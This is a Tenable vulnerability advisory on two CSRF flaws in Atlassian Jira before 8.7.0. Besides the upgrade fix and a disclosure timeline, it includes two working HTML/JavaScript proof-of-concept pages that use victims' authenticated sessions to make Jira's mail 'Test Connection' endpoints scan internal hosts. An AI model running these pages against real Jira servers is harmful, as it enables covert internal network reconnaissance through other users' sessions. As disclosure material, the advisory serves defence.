Facebook Google Plus Twitter LinkedIn YouTube RSS Menu Search Resource - BlogResource - WebinarResource - ReportResource - Eventicons_066 icons_067icons_068icons_069icons_070

Atlassian Jira Multiple CSRF

Medium

Synopsis

Tenable has discovered a couple of CSRF issues in Atlassian Jira before version 8.7.0

CVE-2019-20098: CSRF via SMTP Server Connection Testing

When configuring an SMTP Server Connection, the “Test Connection” functionality does not properly validate the referrer or atl_token attributes. This allows for a CSRF that could enumerate hosts available to the JIRA server. Our researcher created a host discovery web page as a proof of concept.

 <html>
  <head>
    <meta name="referrer" content="no-referrer">
  </head>
  <body>
    <h2>CSRF Host Discovery Scanner via the SMTP Server</h2>
    <p><button onclick="startScan()">scan</button>
    <br>
    <textarea id="textarea" rows=34 cols=50></textarea>
    <script>
      function startScan() {
        document.getElementById("textarea".value="");
        scan(220, 250, 25);
      }
      function scan(ip1, ip2, port) {
        var timer = 0;
        var xhttp = new XMLHttpRequest();
        xhttp.onreadystatechange = function() {
          if (xhttp.readyState == 1) {
            timer = Date.now();
          }
          else if (xhttp.readyState == 4) {
            timer = Date.now() - timer;
            document.getElementById("textarea").value += "\nip: " + scanIp + " \tResponse time: " + timer + "ms";
            if (ip1 < ip2) {
              scan(ip1 + 1, ip2, port);
            }
          }
          else {
            document.getElementById("textarea").value += "\nip: " + scanIp + "\tReadyState = " + xttp.readyState + "\n";
          }
        }
        var scanIp = "[ip_address_minus_lower_octet]" + ip1.toString();
        data = "name=bob&description=desc&from=bob%40email.com&prefix=prefix&protocol=smtp&serverName=" + scanIp
             + "&port=" + port.toString() + "&timeout=10000&username=&password=&jndiLocation=&id=10000&type=smtp";
        xhttp.open("POST", "http://[ipaddress]:8080/secure/admin/VerifySmtpServerConnection!update.jspa", true);
        xhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
        xhttp.withCredentials = true;
        xhttp.send(data);
      }
    </script>
  </body>
</html>

This code generates a request to the Jira server to verify the SMTP server connection for a range of IP addresses. The script times the delay between the readyState transition from 1 to 4, and posts it on a textArea on the web page. When completed, this page will show a list of hosts and their response times. Hosts that timeout or take too long to respond are considered down, whereas existing hosts will respond relatively quickly. In our testing, we’ve found this tool to be reliable and consistent with other host enumeration tools such as nmap.

CVE-2019-20099: CSRF via POP / IMAP Mail Connection Testing

Similar to the above, a CSRF exists in the Test Connection functionality available when creating POP and IMAP connections. The following script was created to demonstrate this flaw:

<html>
  <head>
    <meta name="referrer" content="no-referrer">
  </head>
  <body>
    <h2>CSRF Host Discovery Scanner via the POP3 Server</h2>
    <p><button onclick="startScan()">scan</button>
    <br>
    <textarea id="textarea" rows=34 cols=50></textarea>
    <script>
      function startScan() {
        document.getElementById("textarea".value="");
        scan(220, 250, 110);
      }
      function scan(ip1, ip2, port) {
        var timer = 0;
        var xhttp = new XMLHttpRequest();
        xhttp.onreadystatechange = function() {
          if (xhttp.readyState == 1) {
            timer = Date.now();
          }
          else if (xhttp.readyState == 4) {
            timer = Date.now() - timer;
            document.getElementById("textarea").value += "\nip: " + scanIp + " \tResponse time: " + timer + "ms";
            if (ip1 < ip2) {
              scan(ip1 + 1, ip2, port);
            }
          }
          else {
              document.getElementById("textarea").value += "readyState = " + xttp.readyState + "\n";
            }
        }
        var scanIp = "[ipaddress_without_lower_octet]" + ip1.toString();
        data = "name=u&description=u&serviceProvider=custom&protocol=pop3&serverName=" + scanIp + "&port=" + port.toString()
             + "&timeout=10000&username=admin&changePassword=true&password=test123&type=pop";
        xhttp.open("POST", "http://[ipaddress]:8080/secure/admin/VerifyPopServerConnection!add.jspa", true);
        xhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
        xhttp.withCredentials = true;
        xhttp.send(data);
      }
    </script>
  </body>
</html>

Solution

Upgrade to 8.7.0 or above

Disclosure Timeline

October 15, 2019 - Tenable reaches out to Atlassian for dedicated security contact.
October 15, 2019 - Automated response from Atlassian Support.
October 15, 2019 - Atlassian states that they've forwarded the inquiry to their security team.
October 16, 2019 - Atlassian forwards us to BugCrowd.
October 16, 2019 - Tenable explains why that is insufficient.
October 16, 2019 - Atlassian asks us to submit a support ticket.
October 16, 2019 - Atlassian provides a security contact.
October 28, 2019 - Tenable discloses issues. (Jan 28 marks 90 days)
October 28, 2019 - Atlassian sends an automated acknowledgment. Assigned SEC-2250.
October 28, 2019 - Atlassian rejects 2 issues, provides tracking number for other 2 issues.
October 30, 2019 - Tenable follows up.
November 14, 2019 - Tenable requests status update.
December 7, 2019 - Tenable requests status update.
December 9, 2019 - Atlassian closes ticket and marks as resolved with no explanation.
December 9, 2019 - Tenable requests status update and reminds Atlassian of our disclosure policy.
December 17, 2019 - Tenable makes inquiry to Atlassian Head of Security.
December 17, 2019 - Atlassian Head of Security responds and copies Product Manager on message.
December 18, 2019 - Atlassian Product Manager responds and copies Product Security Manager on message.
December 21, 2019 - Atlassian Product Security Manager responds with additional triage information.
January 6, 2020 - Tenable acknowledges responses and requests status update.
January 8, 2020 - Atlassian assigns CVEs.
January 9, 2020 - Atlassian requests extension to March.
January 9, 2020 - Tenable denies request.
January 9, 2020 - Atlassian states they won't be able to meet deadline.
January 27, 2020 - Atlassian requests extension to Feb. 17.
January 28, 2020 - Atlassian states they can patch by Feb. 3.
January 28, 2020 - Tenable grants 2-week extension.
February 3, 2020 - Tenable reaches out to Atlassian to see if patch is included in latest Jira release.
February 3, 2020 - Atlassian acknowledges the patches were included.

All information within TRA advisories is provided “as is”, without warranty of any kind, including the implied warranties of merchantability and fitness for a particular purpose, and with no guarantee of completeness, accuracy, or timeliness. Individuals and organizations are responsible for assessing the impact of any actual or potential security vulnerability.

Tenable takes product security very seriously. If you believe you have found a vulnerability in one of our products, we ask that you please work with us to quickly resolve it in order to protect customers. Tenable believes in responding quickly to such reports, maintaining communication with researchers, and providing a solution in short order.

For more details on submitting vulnerability information, please see our Vulnerability Reporting Guidelines page.

If you have questions or corrections about this advisory, please email [email protected]

Risk Information

Tenable Advisory ID: TRA-2020-05
Credit:
Alex Peña
CVSSv2 Base / Temporal Score:
4.6 / 3.8
CVSSv2 Vector:
AV:N/AC:H/Au:S/C:P/I:P/A:P
Affected Products:
Atlassian Jira before 8.7.0
Risk Factor:
Medium
Additional Keywords:
SEC-2250
JRASERVER-70427
JRASERVER-70428

Advisory Timeline

February 3, 2020 - Initial release
February 19, 2020 - Fixed a few typos

Tenable Vulnerability Management

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy.

Your Tenable Vulnerability Management trial also includes Tenable Lumin and Tenable Web App Scanning.

Tenable Vulnerability Management

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy. Purchase your annual subscription today.

100 assets

Choose Your Subscription Option:

Buy Now

Tenable Vulnerability Management

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy.

Your Tenable Vulnerability Management trial also includes Tenable Lumin and Tenable Web App Scanning.

Tenable Vulnerability Management

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy. Purchase your annual subscription today.

100 assets

Choose Your Subscription Option:

Buy Now

Tenable Vulnerability Management

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy.

Your Tenable Vulnerability Management trial also includes Tenable Lumin and Tenable Web App Scanning.

Tenable Vulnerability Management

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy. Purchase your annual subscription today.

100 assets

Choose Your Subscription Option:

Buy Now

Try Tenable Web App Scanning

Enjoy full access to our latest web application scanning offering designed for modern applications as part of the Tenable One Exposure Management platform. Safely scan your entire online portfolio for vulnerabilities with a high degree of accuracy without heavy manual effort or disruption to critical web applications. Sign up now.

Your Tenable Web App Scanning trial also includes Tenable Vulnerability Management and Tenable Lumin.

Buy Tenable Web App Scanning

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy. Purchase your annual subscription today.

5 FQDNs

$3,578

Buy Now

Try Tenable Lumin

Visualize and explore your exposure management, track risk reduction over time and benchmark against your peers with Tenable Lumin.

Your Tenable Lumin trial also includes Tenable Vulnerability Management and Tenable Web App Scanning.

Buy Tenable Lumin

Contact a Sales Representative to see how Tenable Lumin can help you gain insight across your entire organization and manage cyber risk.

Try Tenable Nessus Professional Free

FREE FOR 7 DAYS

Tenable Nessus is the most comprehensive vulnerability scanner on the market today.

NEW - Tenable Nessus Expert
Now Available

Nessus Expert adds even more features, including external attack surface scanning, and the ability to add domains and scan cloud infrastructure. Click here to Try Nessus Expert.

Fill out the form below to continue with a Nessus Pro Trial.

Buy Tenable Nessus Professional

Tenable Nessus is the most comprehensive vulnerability scanner on the market today. Tenable Nessus Professional will help automate the vulnerability scanning process, save time in your compliance cycles and allow you to engage your IT team.

Buy a multi-year license and save. Add Advanced Support for access to phone, community and chat support 24 hours a day, 365 days a year.

Select Your License

Buy a multi-year license and save.

Add Support and Training

Try Tenable Nessus Expert Free

FREE FOR 7 DAYS

Built for the modern attack surface, Nessus Expert enables you to see more and protect your organization from vulnerabilities from IT to the cloud.

Already have Tenable Nessus Professional?
Upgrade to Nessus Expert free for 7 days.

Buy Tenable Nessus Expert

Built for the modern attack surface, Nessus Expert enables you to see more and protect your organization from vulnerabilities from IT to the cloud.

Select Your License

Buy a multi-year license and save more.

Add Support and Training